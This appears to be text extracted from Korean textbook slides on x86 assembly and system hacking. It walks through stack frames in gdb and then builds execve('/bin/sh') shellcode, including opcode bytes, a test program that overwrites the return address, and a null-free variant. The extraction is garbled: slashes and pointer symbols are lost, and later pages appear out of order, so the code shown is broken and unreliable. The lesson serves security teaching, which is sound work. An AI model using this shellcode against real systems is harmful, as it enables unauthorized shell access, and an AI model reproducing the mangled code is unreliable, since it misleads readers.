어셈블리어 프로그램 작성 (1)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

486 32 비트 모드임을 알려준다

model flat stdcall 메모리 모델을 알려준다

라이브러리의 표준 양식이 있는 inc 파일과 라이브러리 파일을 include

include masm32includewindowsinc

include masm32macrosmacrosasm

include masm32includemasm32inc

include masm32includegdi32inc

include masm32includeuser32inc

include masm32includekernel32inc

includelib masm32libmasm32lib

includelib masm32libgdi32lib includelib masm32libuser32lib includelib masm32libkernel32lib

57108

어셈블리어 프로그램 작성 (2)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

code MASM 이 시작됨을 알려준다

start 코드의 시작점 (Entry Point)

call main main 함수를 호출한다

Exit

main proc main 함수

mov eax 100 100 을 EAX 레지스터에 저장한다

mov ecx 250 250 을 ECX 레지스터에 저장한다

add ecx eax ECX 에 EAX 값을 더한다

mov eax 300 300 을 EAX 레지스터에 저장한다

cmp eax ecx EAX 와 ECX 를 비교한다

je equal EAX 와 ECX 가 같으면 equal 로 점프

jg bigger EAX 가 ECX 보다 크면 bigger 로 점프

jl smaller EAX 가 ECX 보다 작으면 smaller 로 점프

58108

어셈블리어 프로그램 작성 (3)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

equal

print chr$(EAX 와 ECX 는 같습니다 )

jmp over over 로 점프한다

bigger

print chr$(EAX 가 ECX 보다 큽니다 )

jmp over

smaller

print chr$(EAX 가 ECX 보다 작습니다 )

over

ret return

main endp main 함수를 끝낸다

end start MASM 프로그램을 끝낸다

59108

컴파일 먼저 [Make]-[Assemble] 메뉴를 선택하면 obj 파일이 생기고

[Make]-[Link] 메뉴를 선택하면 exe 파일이 생성

[ 그림 2-25] 컴파일

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

5

60108

실행 [Make]-[Link] 메뉴까지 실행을 마치면 다음과 같이 AMS_TESTobj와 AMS_TESTexe 파일이 생성 AMS_TESTexe 파일을 실행 해보자

[ 그림 2-26] 실행

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

6

61108

어셈블리어의 각 실행 단계별로 스택의 동작을 살펴보는 과정을 통해 스택에서 어셈블리어

처리하는 과정을 이해 리눅스에서는 어셈블리어가 ATampT 문법으로 사용되어 제 1 피연산자와

제 2 피연산자의 위치가 반대

SAMPLEC 의 어셈블리어 코드 획득 (1)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

samplec

void main()

int c

c=function(1 2)

int function(int a int b)

char buffer[10]

a=a+b

return a

62108

SAMPLEC 의 어셈블리어 코드 획득 (2) 레드햇 리눅스 62 에서 컴파일

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

sampleafile samplec

version 0101gcc2_compiledtext

align 4globl main

type mainfunctionmain

pushl ebp ➊movl espebp ➋subl $4esp ➌pushl $2 ➍pushl $1 ➎call function ➏addl $8esp 1056934movl eaxeax 1056934

gcc -S -o samplea samplec

vi samplea

17

18

63108

SAMPLEC 의 어셈블리어 코드 획득 (3)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

movl eax-4(ebp) 1056934L1

leave 1056937ret

Lfe1size mainLfe1-mainalign 4

globl functiontype functionfunction

functionpushl ebp ➐movl espebp ➑subl $12esp ➒movl 12(ebp)eax ➓addl eax8(ebp) 1056934movl 8(ebp)edx 1056934movl edxeax 1056934jmp L2 1056934p2align 47

L2leave 1056934ret 1056934

Lfe2size functionLfe2-functionident GCC (GNU) egcs-29166 19990314Linux (egcs-112

release)

19

20

21

11

1213

14

15

16

64108

셀 기본 코드 분석➊ pushl ebp 최초의 프레임 포인터 (ebp) 값 스택에 저장

ebp 바로 전에 ret 가 저장 ebp 는 함수 시작 전의 기준점이 된다 스택에 저장된 ebp 를 SFP(Saved Frame Pointer) 라고 부른다

ret(returnaddress) 에는 함수 종료시 점프할 주소값 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

2

65108

➋ movl esp ebp 현재의 esp 값을 EBP 레지스터에 저장 push ebp 와 esp ebp 는 새로운 함수를 시작할 때

항상 똑같이 수행하는 명령으로 프롤로그 (Prologue) 라고 부른다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

66108

➌ subl $4 esp 스택에 4 바이트만큼의 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

67108

➍ pushl $2 ➍sim➏ 세 단계는 function(1 2) 에 대한 코드다

➎ pushl $1

➏ call function

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

68108

➐ pushl ebp 현재 레지스터의 ebp 값을 스택에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

69108

➑ movl espebp function(1 2) 의 시작에서도 pushl ebp 명령과 movlespebp 이 실행되었다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

70108

➒ subl $12esp char buffer[10] 할당 스택에 12 바이트만큼 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

71108

➓ movl 12(ebp)eax ebp 에 12바이트를 더한 주소 값의 내용 ( 정수 2) 을 eax 값에 복사

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

72108

addl eax8(ebp) ebp 에 8 바이트를 더한 주소 값의 내용 ( 정수 1) 에 eax( 단계 10 에서 2 로 저장됨 ) 값을 더한다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

11

73108

movl 8(ebp)edx ebp 에 8 바이트 더한 주소 값의 내용 ( 정수 3) 을 edx 에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

12

74108

movl edxeax edx 에 저장된 정수 3 을 eax 로 복사 jmp L1 L1 로 점프한다

leave 함수를 끝낸다

ret function 함수를 마치고 function 함수에서 저장된 ebp 값을 제거 main 함수의 원래 ebp 값 ([ 그림 2-27] 에서 저장된 최초 ebp 값 ) 으로 EBP 레지스터 값 변경 addl $8esp esp 에 8 바이트를 더한다 movl eaxeax eax 값을 eax 로 복사 movl eax-4(ebp) ebp 에서 4 바이트를 뺀 주소 값 (int c) 에 eax 값을 복사 leave

ret

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

13

14

15

16

17

18

19

20

21

75108

시스템을 공격할 때 셸 코드를 스택에 업로드해서 사용하는데 코드는 스택에서 직접 실행될 수

있도록 기계어로 바꾸어 사용

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

shellc

include ltstdiohgtinclude ltunistdhgtint main()

char name[2]name[0] = binshname[1] = 0execve(name[0] name NULL)

gcc -o shell shellcgdb shelldisass main

76108

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

1

shello

0x8048198 ltmaingt push ebp ➊

0x8048199 ltmain+1gt mov espebp ➋

0x804819b ltmain+3gt sub $0x8esp ➌

0x804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

0x80481a5 ltmain+13gt movl $0x00xfffffffc(ebp) ➎

0x80481ac ltmain+20gt push 0x0 ➏

0x80481ae ltmain+22gt lea 0xfffffff8(ebp)eax ➐

0x80481b1 ltmain+25gt push eax ➑

0x80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax ➒

0x80481b5 ltmain+29gt push eax ➓

0x80481b6 ltmain+30gt call 0x804d02c lt__execvegt 1056934

0x80481bb ltmain+35gt add $0xc esp 1056934

0x80481be ltmain+38gt l eave

11

12

13

77108

셀 코드 기본 분석➊ 0times8048198 ltmaingt push ebp

➋ 0times8048199 ltmain+1gt mov espebp

➌ 0times804819b ltmain+3gt sub $0x8esp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

78108

셀 코드 기본 분석➍ 0times804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

ebp 에서 0xffff fff8(-8) 거리에 있는 주소에0x08071548

값을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

79108

셀 코드 기본 분석➎ 0times80481a5 ltmain+13gt movl $0x00xfffffffc(ebp)

ebp 에서 0xfffffffc(-4) 거리에 있는 주소에 0x0 값을저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

80108

셀 코드 기본 분석➏ 0times80481ac ltmain+20gt push 0x0

execve(name[0] name NULL) 부분 중 마지막 인수 값 (NULL) 을 스택에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

81108

셀 코드 기본 분석➐ 0times80481ae ltmain+22gt lea 0xfffffff8(ebp) eax

lea(Load Effective Address) 명령은 -8(ebp)

(0x08071548) 의 주소 (0xbfffe830) 를 eax 값에저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

82108

셀 코드 기본 분석➑ 0times80481b1 ltmain+25gt push eax

eax 값 (0xbfffe830) 을 스택에 저장 execve(name[0]

name NULL) 부분 중 두 번째 인수 name 에 대한 값

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

83108

셀 코드 기본 분석➒ 0times80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax

eax 의 ebp 에서 0xffff fff8(-8) 거리에 있는 주소 값 (0x08071548) 을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

84108

셀 코드 기본 분석➓ 0times80481b5 ltmain+29gt push eax

스택에 eax 값을 저장 스택에 새로 추가되는 이 값은 결국 -8(ebp) 값과 동일하게 binsh 문자열이 있는 곳에 대한 주소 값이다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

85108

셀 코드 기본 분석 0times80481b6 ltmain+30gt call 0x804d02c lt__execvegt

execve 에 대한 인수를 모두 스택에 저장했으므로 execve 를 호출

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

11

0x804d02c lt__execvegt push ebp

0x804d02d lt__execve+1gt mov espebp

0x804d02f lt__execve+3gt push edi

0x804d030 lt__execve+4gt push ebx

0x804d031 lt__execve+5gt mov 0x8(ebp)edi

0x804d034 lt__execve+8gt mov $0x0eax

0x804d039 lt__execve+13gt test eaxeax

0x804d03b lt__execve+15gt je 0x804d042

lt__execve+22gt

0x804d03d lt__execve+17gt call 0x0

0x804d042 lt__execve+22gt mov 0xc(ebp)ecx

disass execve

86108

셀 코드 기본 분석

0times804d02c lt__execvegt push ebp

0times804d02d lt__execve+1gtmov espebp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

0x804d045 lt__execve+25gt mov 0x10(ebp)edx

0x804d048 lt__execve+28gt push ebx

0x804d049 lt__execve+29gt mov ediebx

0x804d04b lt__execve+31gt mov $0xbeax

0x804d050 lt__execve+36gt int $0x80

87108

셀 코드 기본 분석 0times804d02f lt__execve+3gt push edi

0times804d030 lt__execve+4gt push ebx

스택에 EDI(DI Destination Index) 레지스터와 EBX 레지스터 값을 저장 edi 는 0 이고 ebx 는 현재의lsquo Basersquo 값으로 0xbfffe504

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

88108

셀 코드 기본 분석 0times804d031 lt__execve+5gt mov 0x8(ebp)edi

ebp 에서 8 바이트 상위 주소의 값을 edi 에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

89108

셀 코드 기본 분석 0times804d034 lt__execve+8gt mov $0x0eax eax 값을 0 으로 초기화

0times804d039 lt__execve+13gt test eaxeax and 와 같은 명령으로 eax 값을 0으로 확인

0times804d03b lt__execve+15gt je 0x804d042 lt__execve+22gt je(Jump if Equal) 0x804d042 와

lt__execve+22gt 주소 일치하면 0x804d042 로 점프 0times804d03d lt__execve+17gt call 0x0

0times804d042 lt__execve+22gt mov 0xc(ebp)ecx

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

90108

셀 코드 기본 분석

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

91108

셀 코드 기본 분석 0times804d045 lt__execve+25gt mov 0x10(ebp)edx 16(ebp) 값을 edx 에 저장

[ 그림 2-48] execve+25까지 실행 시 스택의 구조

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

92108

셀 코드 기본 분석 0times804d048 lt__execve+28gt push ebx 스택에 ebx 값 저장 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소 값

(0x08071548) 이

저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax

EAX 레지스터에 시스템 호출을 위한 값 0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템 호출 (int $0x80)

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

93108

셀 코드 기본 분석 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소

(0x08071548) 이 저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax EAX 레지스터에 시스템 호출 위한 값

0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템을 호출 (int $0x80

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

94108

셀 기본 코드 정리➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치➌ 0xb 를 EAX 레지스터에 저장➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사➎ binsh 문자열의 주소를 ECX 레지스터에 복사➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사➐ int $0x80 명령을 실행 종료되도록 하는 명령을 추가

➑ 0x1 을 EAX 레지스터에 복사한다

➒ 0x0 을 EBX 레지스터에 복사한다

➓ int $0x80 명령을 실행한다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

3

include ltstdlibhgt

int main()exit(0)

95108

셀 기본 코드 재코딩➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치

➌ 0xb 를 EAX 레지스터에 저장

➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사

➎ binsh 문자열의 주소를 ECX 레지스터에 복사

➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movb $0x0 [0x0 1 바이트에 대한 주소 ]movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 21: 80×86  시스템에 대한 이해

21108

메모리 접근 모드와 동작

보호 모드 80286 부터 도입된 보호 모드 (Protected Mode) 는 32 비트 CPU 80386 에

완성 32 비트 주소 버스를 통해 4GB 의 메모리를 사용 가능 메모리 보 호

기능과 페이징 (Paging) 등을 통해 가상 메모리를 효율적으로 구현

세그먼테이션 (Segmentation) 과 페이징 이용 메모리 관리 세그먼테이션은

4GB 의 메모리를 세그먼트 단위로 쪼갠 것으로 여기서는 16 비트의

셀렉터와 32 비트의 오프셋을 이용해 4GB 범위의 32 비트

선형 주소 (linear address) 를 만듬

80times86 시스템의 메모리

22108

어셈블리어의 구조 Intel 문법과 ATampT 문법이 있다 윈도우에서는 Intel 문법 사용 리눅스에서는 ATampT 문법 사용 Intel 문법에서는 목적지 (destination) 가 먼저 오고 원본 (source) 이 뒤에 위치 ATampT 에서는 반대 Intel 문법에서 어셈블리어의 명령 형식은 다음과 같다

어셈블리어의 기본 문법과 명령

Label MOV AX BX comment 라벨 작동 코드 제 1 피연산자 제 2 피연산자 설명

23108

어셈블리어의 데이터 타입과 리틀 엔디언 방식

데이터 타입bull 바이트 (Byte) 1 바이트 (8 비트 ) 데이터 항목bull 워드 (Word) 2바이트 (16 비트 ) 데이터 항목bull 더블워드 (Doubleword) 4바이트 (32 비트 ) 데이터 항목

어셈블리어의 기본 문법과 명령

24108

어셈블리어의 데이터 타입과 리틀 엔디언 방식

리틀 엔디언 방식 2 개의 번지로 나누어 저장해야 하는 16 비트 데이터 (워드 ) 의 경우

하위 바이트는 하위 번지에 상위 바이트는 상위 번지에 저장

예 ) hex 값 0x34F3을 1500 번지에 저장하려면 하위값 0xF3 은

1500 번지에 상위 값 0x34 는 1501번지에 저장

어셈블리어의 기본 문법과 명령

25108

어셈블리어의 주소 지정 방식 레지스터 주소 지정 레지스터의 주소 값을 직접 지정 복사 처리 속도 가장 빠름

직접 메모리 주소 지정 가장 일반적인 주소 지정 방식 보통 피연산자 하나가 메모리 위치를 참조하고 다른 하나는 레지스터를 참조

( 예 )DS[8088h] 와 DS[1234h] 는 각각lsquo세그멘트 오프셋rsquo형식의

메모리에 직접 접근하는 방식

어셈블리어의 기본 문법과 명령

MOV DX BX

MOV AL DS[8088h]MOV DS[1234h] DL

26108

레지스터 간접 주소 지정 lsquo 세그멘트 오프셋rsquo형식을 사용

다음과 같이 기본이 아닌 세그먼트를 강제로 지정 할 수도 있다

어셈블리어의 기본 문법과 명령

MOV AL [BX] MOV AL [BP]

MOV AL CS[BX] MOV AL DS[BP]

27108

인덱스 주소 지정 레지스터 간접 지정 방식에 변위가 더해진 메모리 주소 지정 방식 ( 예 )20h 만큼 더해 메모리를 참조한 명령

다음과 같이 바꿔서 표현 할 수 있다

어셈블리어의 기본 문법과 명령

MOV AL [BX+20h] MOV AL [BP+20h]

MOV AL 20h[BX] MOV AL 20h[BP]

28108

베이스 인덱스 주소 지정 실제 주소 생성 위해 베이스 레지스터 (BX 또는 BP) 와

인덱스 레지스터 (DI 또는 SI) 를 결합

2 차원 배열의 주소 지정에 사용

다음과 같이 바꿔서 표현 할 수 있다

어셈블리어의 기본 문법과 명령

MOV AL [BX+SI] MOV AL [BP+SI]

MOV AL [BX][SI] MOV AL [BP][SI]

29108

변위를 갖는 베이스 인덱스 주소 지정 베이스 - 인덱스의 변형으로 실제 주소 생성 위해

베이스 레지스터 인덱스 레지스터 변위 결합

어셈블리어의 기본 문법과 명령

MOV AL [BX+SI+20h] MOV AL [BP+SI+20h]

30108

어셈블리어의 기본 명령 산술 연산 명령 기본적인 정수 계산

bull ADD(Add) 제 1 피연산자와 제 2 피연산자 값을 더한 결과 값을 제 1 피 연산자에 저장

bull SUB(Subtract) 제 1 피연산자에서 제 2 피연산자 값을 뺀 결과 값을 제 1 피연산자에 저장

bull CMP(Compare) 데이터의 두 값 비교 시 사용 lsquocmp a brsquo 의 경우 a 에서 b 를 뺀 값이0 이면 참

어셈블리어의 기본 문법과 명령

형식ADD [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용예

ADD AL 4

AL 이 원래 3이었다면 명령 실행 후 AL은 7이 된다

형식SUB [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용예

SUB AL 4

AL 이 원래 7이었다면 명령 실행 후 AL은 3이 된다

형식CMP [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용예

CMP AL 4

AL 이 원래 7이었다면 명령 실행 후 AL은 3이 된다

31108

어셈블리어의 기본 명령 기타 산술 연산 명령 [ 표 2-7] 기타 산술 연산 명령

어셈블리어의 기본 문법과 명령

명령 설명

ADC Add with Carry 캐리를 포함한 덧셈을 수행한다

SBB Subtraction with borrow 캐리를 포함한 뺄셈을 수행한다

DEC Decrement 피연산자 내용을 하나 감소시킨다

NEG Change Sign 피연산자의 2 의 보수 즉 부호를 반전한다

INC Increment 피연산자 내용을 하나 증가시킨다

AAA ASCII adjust for add덧셈 결과의 AL 값을 UNPACK 10진수로 보정한다

DAA Decimal adjust for add 덧셈 결과의 AL 값을 PACK 10진수로 보정한다

AAS ASCII adjust for subtract뺄셈 결과의 AL 값을 UNPACK 10진수로 보정한다

32108

어셈블리어의 기본 명령 기타 산술 연산 명령 [ 표 2-7] 기타 산술 연산 명령

어셈블리어의 기본 문법과 명령

명령 설명

DAS Decimal adjust for subtract 뺄셈 결과의 AL 값을 PACK 10진수로 보정한다

MUL Multiply(Unsigned) AX 와 피연산자의 곱셈 결과를 AX 또는 DXAX 에 저장한다

IMUL Integer Multiply(Signed) 부호화된 곱셈을 수행한다

AAM ASCII adjust for Multiply 곱셈 결과의 AX 값을 UNPACK 10진수로 보정한다

DIV Divide(Unsigned)AX 또는 DXAX 내용을 피연산자로 나눈다

몫은 AL 또는 AX 에 저장하고 나머지는 AH 또는 DX 에 저장한다

IDIV Integer Divide(Signed) 부호화된 나눗셈

AAD ASCII adjust for Divide 나눗셈 결과 AX 값을 UNPACK 10진수로 보정한다

CBW Convert byte to word AL 의 바이트 데이터를 부호 비트를 포함하여 AX 워드로 확장한다

CWDConvert word to double word

AX 의 워드 데이터를 부호를 포함하여 DXAX 의 더블 워드로 변환한다

33108

어셈블리어의 기본 명령 데이터 전송 명령 메모리 범용 레지스터 세그먼트 레지스터로 참조되는 주소에

존재하는 데이터 전송

bull MOV(Move) 데이터 이동할 때 사용

BP 의 현재 값이 0x10000004 라면 BP+8은 0x1000000C

0x1000000C 에 있는 값이 1024므로 AX 에는 1024 가 입력

어셈블리어의 기본 문법과 명령

형식 MOV [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용 예

MOV AX [BP+8]

BP 의 주소에 8 더해진 주소에 있는 데이터

값을 AX 에 대입한다

34108

어셈블리어의 기본 명령 PUSH(Push) 스택에 데이터를 삽입할 때 사용

[ 그림 2-19] 와 같이 스택은 커지고 스택 포인터 (Stack Pointer)는

데이터 크기만큼 감소

어셈블리어의 기본 문법과 명령

35108

어셈블리어의 기본 명령 POP(Pop) 스택에서 데이터 삭제할 때 사용 스택에서 삭제된 명령은 반환 값으로

받아 사용 가능 [ 그림 2-20] 과 같이 스택 포인터는 삭제하는 데이터

크기만큼 증가

어셈블리어의 기본 문법과 명령

36108

어셈블리어의 기본 명령 LEA(Load effective address to register) 데이터의 값 이동할 때 사용

MOV 명령과 LEA 명령에서 제 1 피연산자는 데이터 이동 공통 제 2 피연산자에 대 한

추가 연산의 처리 방식은 다르다

제 2 피연산자에lsquo BP+4rsquo 가 있을 경우 MOV 명령은 lsquo BP+4rsquo 를 하나의 주소 값으로처리

LEA 명령은 lsquo BPrsquo 만 주소 값으로 인식 lsquo +4rsquo 는 BP 주소 값에 대한 추가 연산으로 처리

어셈블리어의 기본 문법과 명령

형식 MOV [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

LEA AX [BP+4]

BP 의 현재 값이 0times10000004 라면 MOV 명령

처럼 BP+4 인 0times10000008 의 주소 값을 가져

오는 것이 아니라 0times10000004 의 주소에 있

는 값에 4 를 더해 AX 에 대입한다 ([ 그림 2-21] 참고 )

37108

